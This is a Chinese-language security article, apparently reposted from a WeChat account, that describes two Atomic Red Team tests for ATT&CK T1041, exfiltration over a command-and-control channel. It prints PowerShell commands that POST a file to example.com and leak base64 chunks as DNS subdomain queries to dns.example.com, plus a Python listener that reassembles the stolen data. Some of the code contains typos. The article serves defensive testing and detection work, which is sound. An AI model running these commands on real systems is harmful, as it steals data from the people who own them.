T1041 - 通过C2通道渗出数据

admin 2025年5月30日11:53:57评论3 views字数 2594阅读8分38秒阅读模式
Atomic Red Team™是一个映射到MITRE ATT&CK®框架的测试库。安全团队可以使用Atomic Red Team快速、可移植和可重复地测试他们的环境。

本文章为Atomic Red Team系列文章,本篇文章内容为T1041-通过C2通道渗出数据。本文的目的旨在帮助安全团队开展安全测试,发现安全问题,切勿将本文中提到的技术用作攻击行为,请切实遵守国家法律法规。

重要声明 本文档中的信息和工具仅用于授权的安全测试和研究目的。未经授权使用这些工具进行攻击或数据提取是非法的,并可能导致严重的法律后果。使用本文档中的任何内容时,请确保您遵守所有适用的法律法规,并获得适当的授权。

T1041 - 通过C2通道渗出数据

本文重点介绍通过DNS请求实现数据渗出,攻击者通过将数据作为子域名向服务端请求实现数据渗出,服务端对子域名做解析还原。企业可根据本文提供的样例做参考,检测自身对DNS数据渗出的防护能力。

来自ATT&CK的描述

攻击者可能会通过现有的命令与控制(C2)通道渗出数据,以此窃取信息。被盗取的数据会使用与C2通信相同的协议,编码后通过正常通信通道传输。

原子测试

  • 原子测试#1 - C2数据渗出
  • 原子测试#2 - 使用DNS子域名进行基于文本的数据渗出

01

C2数据渗出

将受害者机器上的文件渗出到C2服务器。

  • 支持的平台
    Windows
  • 自动生成的GUID
    d1253f6e - c29b - 49dc - b466 - 2147a6191932
  • 输入参数
名称
描述
类型
默认值
destination_url
用于提交编码数据的目标URL
字符串
example.com
filepath
要渗出到C2服务器的文件路径
路径
$env:TEMPLineNumbers.txt
  • 攻击命令
    使用powershell运行!
if(-not (Test-Path #{filepath})){    1..100 | ForEach-Object { Add-Content -Path #{filepath} -Value "This is line $_." }}[System.Net.ServicePointManager]::Expect100Continue = $false$filecontent = Get-Content -Path #{filepath}Invoke-WebRequest -Uri #{destination_url} -Method POST -Body $filecontent -DisableKeepAlive

02

使用DNS子域名进行基于文本的数据渗出

模拟攻击者利用DNS隧道技术,通过命令与控制(C2)通道渗出数据。

  • 支持的平台
    Windows
  • 自动生成的GUID
    c9207f3e - 213d - 4cc7 - ad2a - 7697a7237df9
  • 输入参数
名称
描述
类型
默认值
dns_server
DNS服务器的IP地址或域名
url
dns.example.com
exfiltrated_data
要渗出的数据
字符串
SecretDataToExfiltrate
chunk_size
每个DNS查询块的大小(以字符为单位)
整数
63
  • 攻击命令
    使用powershell运行!
$dnsServer = "#{dns_server}"$exfiltratedData = "#{exfiltrated_data}"$chunkSize = #{chunk_size}$encodedData = [System.Text.Encoding]::UTF8.GetBytes($exfiltratedData)$encodedData = [Convert]::ToBase64String($encodedData)$chunks = $encodedData -split "(.{$chunkSize})"foreach ($chunk in $chunks) {    $dnsQuery = $chunk + "." + $dnsServer    Resolve-DnsName -Name $dnsQuery    Start-Sleep -Seconds 5}$end = "0x00" + "." + $dnsServerReslove-DnsName -Name $end

使用python在服务端解析DNS查询,并提取其中的数据

from dnslib import DNSRecord, DNSHeader, RR, Aimport socket# 监听的 DNS 服务器地址和端口server_address = ('0.0.0.0'53)# 创建 UDP 套接字sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)sock.bind(server_address)received_chunks = []while True:    data, addr = sock.recvfrom(1024)    d = DNSRecord.parse(data)    qname = str(d.get_q().qname)    # 假设 dns_server 为 "example.com",根据实际情况修改    dns_server = "example.com"    if qname.endswith(dns_server):        chunk = qname[:-(len(dns_server) + 1)]        received_chunks.append(chunk)    # 可以根据实际情况添加停止条件,例如接收到特定标志    # 这里简单假设当接收到"0x00"块时停止    if chunk == "0x00":        break# 拼接数据块encoded_data = ''.join(received_chunks)# 进行 Base64 解码import base64decoded_data = base64.b64decode(encoded_data)# 将解码后的数据保存为文件with open('extracted_data.txt''wb'as f:    f.write(decoded_data)print("数据已成功转储到 extracted_data.txt 文件中。")

T1041 - 通过C2通道渗出数据

原文始发于微信公众号(网空安全手札):T1041 - 通过C2通道渗出数据

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月30日11:53:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   T1041 - 通过C2通道渗出数据http://cn-sec.com/archives/3948146.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息